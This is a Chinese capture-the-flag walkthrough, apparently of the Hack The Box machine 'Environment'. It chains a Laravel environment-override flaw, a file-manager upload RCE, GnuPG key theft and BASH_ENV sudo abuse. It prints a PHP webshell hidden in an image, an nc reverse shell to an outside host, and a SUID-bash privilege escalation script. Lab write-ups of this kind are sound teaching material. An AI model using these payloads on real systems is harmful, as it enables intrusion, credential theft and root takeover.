最近所幸得點小閑,補個檔嘞!~
nmap掃描
nmap -F -A 10.10.11.67
dirsearch掃描發現login接口
http://environment.htb/login
構造如下payload,讓程序報錯,其原理在于缺失了rember后會導致報錯,從而告訴我們一個新的參數keep_loggedin,然后我們又構造keep_loggedin參數讓函數報錯。
Laravel framework 修改環境變量漏洞
從里面我們可知如果環境變量修改為preprod則可以成功訪問到manager/dashboard頁面。結合這篇文章https://github.com/Nyamort/CVE-2024-52301,我們使用登錄接口后,抓包構造如下請求包邊可以進入頁面manager/dashboard
在頁面我們發現了upload接口
Laravel Framwork filemanager 任意文件上傳且解析漏洞
從上面的報錯我們還了解到,該應用采用了unisharp.lfm.upload的上傳接口,我們在Google查詢后發現其存在RCE漏洞https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca
構造惡意圖片
###evil.php
<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; $cmd = ($_REQUEST["cmd"]); system($cmd); echo "</pre>"; die; }?>cat normal.jpg evil.php > evil2.php
上傳webshell
webshell構建交互式shell,payload如下
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.20 9001 >/tmp/f
GnuPG解密
翻找文件,發現/home/hish/.gnupg,/home/hish/backup/keyvault.key文件都可以訪問。將文件全部復制到攻擊機,準備破解gnupg加密文件keyvault.key
tar -czvf /tmp/archive.tar.gz .gnupg/ backup/
在攻擊機我們解壓文件,然后將解壓出來的.gnupg放在~/目錄下,并確認是否導入成功
cp -a ./.gnupg ~/
gpg -K
可以看出已經成功導入,接下來我們需要解密文件
gpg -d backup/keyvault.gpg
獲取密碼后,使用hish賬號進入ssh
sudo -l 中 ENV BASH_ENV 濫用提權 & sh腳本構建SUID文件提權
查看sudo -l 發現,存在ENV BASH_ENV 變量會被sudo保留,BASH_ENV后面填入的路勁是使用bash的時候都會執行的腳本路徑。
如果環境環境變量如下
BASH_ENV=/path/to/script.sh
每當有人執行bash -c或bash解析的命令的時候,就會執行/path/to/script.sh。我們借助這個特點,構造了/tmp/pwn.sh。
#/bin/bashcp -a /bin/bash /tmp/bash
chmod 777 /tmp/bash
chmod +s /tmp/bash
我們將/tmp/pwn.sh設定為BASH_ENV
export BASH_ENV=/tmp/pwn.sh
執行sudo命令
sudo systeminfo
查看/tmp目錄
ls -al /tmp
此時我們已經創建了一個 SUID的bash文件了,且有權限訪問。下面開始exploit
/tmp/bash -p